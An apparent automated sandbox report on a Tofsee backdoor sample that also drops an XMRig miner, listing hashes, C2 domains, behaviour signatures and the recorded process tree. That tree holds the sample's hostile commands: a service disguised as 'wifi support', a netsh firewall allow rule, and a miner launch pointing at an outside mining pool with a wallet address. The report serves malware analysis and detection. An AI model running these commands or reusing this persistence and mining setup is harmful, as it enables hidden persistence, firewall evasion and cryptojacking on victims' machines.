Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-03-2023 15:29

General

  • Target

    file.exe

  • Size

    250KB

  • MD5

    6263d643c0d58b6c2a93a84b52305cab

  • SHA1

    e7170cb232b503e0f4e855cd971a4fb85b7fad01

  • SHA256

    e3b2d5d28090159d5f3e1587633085ece2fc54a369f2685252909f1bbb28cc3a

  • SHA512

    1c2ce485cd07663f3e60a22a9e9124f0d7029ed41909bd1cc455a4f05a40d73f850a2554e405276e203ed362bb995ae5781b51fb21faa1e86069936c741ee64c

  • SSDEEP

    3072:f15ld/jSIFzGdkYLYtKy+UUOrD+tVVe71rOFqdbRzSAvX0pj4yMvfj5qvEPbX:dLdDz+kYLgKbUpro81OFqLvqj4yMAvE

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4076
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fcdgwsht\
      2⤵
        PID:1128
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dttqcoec.exe" C:\Windows\SysWOW64\fcdgwsht\
        2⤵
          PID:956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fcdgwsht binPath= "C:\Windows\SysWOW64\fcdgwsht\dttqcoec.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fcdgwsht "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fcdgwsht
          2⤵
          • Launches sc.exe
          PID:4848
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1012
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4076 -s 1216
          2⤵
          • Program crash
          PID:624
      • C:\Windows\SysWOW64\fcdgwsht\dttqcoec.exe
        C:\Windows\SysWOW64\fcdgwsht\dttqcoec.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4896
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2432
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1900
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 560
          2⤵
          • Program crash
          PID:4696
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4076 -ip 4076
        1⤵
          PID:3676
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4896 -ip 4896
          1⤵
            PID:4372

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\dttqcoec.exe
            Filesize

            14.7MB

            MD5

            f5f7243963e44a5b6b3b19016c9a4a63

            SHA1

            5c43c1e6f35cf5db7a8a7ee4972bad161c1649ba

            SHA256

            704edc4c28ef801cb09341fb80017ada07cd4de4912e51c8d905986e32ba5d6a

            SHA512

            be2b75126b0d5d65565d7c4f0b851a2d626c123122aef3ced0fe132ddd3de3a6488b69fac955123163061e5c99581697c9dde86a97008ec2605eca2a6c93d9f5

          • C:\Windows\SysWOW64\fcdgwsht\dttqcoec.exe
            Filesize

            14.7MB

            MD5

            f5f7243963e44a5b6b3b19016c9a4a63

            SHA1

            5c43c1e6f35cf5db7a8a7ee4972bad161c1649ba

            SHA256

            704edc4c28ef801cb09341fb80017ada07cd4de4912e51c8d905986e32ba5d6a

            SHA512

            be2b75126b0d5d65565d7c4f0b851a2d626c123122aef3ced0fe132ddd3de3a6488b69fac955123163061e5c99581697c9dde86a97008ec2605eca2a6c93d9f5

          • memory/1900-188-0x0000000000ED0000-0x0000000000FC1000-memory.dmp
            Filesize

            964KB

          • memory/1900-199-0x0000000000ED0000-0x0000000000FC1000-memory.dmp
            Filesize

            964KB

          • memory/1900-198-0x0000000000ED0000-0x0000000000FC1000-memory.dmp
            Filesize

            964KB

          • memory/1900-197-0x0000000000ED0000-0x0000000000FC1000-memory.dmp
            Filesize

            964KB

          • memory/1900-196-0x0000000000ED0000-0x0000000000FC1000-memory.dmp
            Filesize

            964KB

          • memory/1900-195-0x0000000000ED0000-0x0000000000FC1000-memory.dmp
            Filesize

            964KB

          • memory/1900-194-0x0000000000ED0000-0x0000000000FC1000-memory.dmp
            Filesize

            964KB

          • memory/1900-193-0x0000000000ED0000-0x0000000000FC1000-memory.dmp
            Filesize

            964KB

          • memory/2432-167-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-172-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-153-0x00000000003E0000-0x00000000003E6000-memory.dmp
            Filesize

            24KB

          • memory/2432-156-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-159-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-160-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-161-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-162-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-163-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-165-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-164-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-166-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-139-0x0000000000140000-0x0000000000155000-memory.dmp
            Filesize

            84KB

          • memory/2432-168-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-169-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-170-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-171-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-152-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/2432-175-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-174-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-173-0x00000000003F0000-0x0000000000400000-memory.dmp
            Filesize

            64KB

          • memory/2432-176-0x00000000017E0000-0x00000000017E5000-memory.dmp
            Filesize

            20KB

          • memory/2432-179-0x00000000017E0000-0x00000000017E5000-memory.dmp
            Filesize

            20KB

          • memory/2432-180-0x0000000006F00000-0x000000000730B000-memory.dmp
            Filesize

            4.0MB

          • memory/2432-183-0x0000000006F00000-0x000000000730B000-memory.dmp
            Filesize

            4.0MB

          • memory/2432-184-0x00000000017F0000-0x00000000017F7000-memory.dmp
            Filesize

            28KB

          • memory/2432-149-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/2432-148-0x0000000000140000-0x0000000000155000-memory.dmp
            Filesize

            84KB

          • memory/2432-146-0x0000000000140000-0x0000000000155000-memory.dmp
            Filesize

            84KB

          • memory/2432-145-0x0000000000140000-0x0000000000155000-memory.dmp
            Filesize

            84KB

          • memory/2432-144-0x0000000000140000-0x0000000000155000-memory.dmp
            Filesize

            84KB

          • memory/4076-143-0x0000000000400000-0x0000000000702000-memory.dmp
            Filesize

            3.0MB

          • memory/4076-135-0x0000000000960000-0x0000000000973000-memory.dmp
            Filesize

            76KB

          • memory/4896-142-0x0000000000400000-0x0000000000702000-memory.dmp
            Filesize

            3.0MB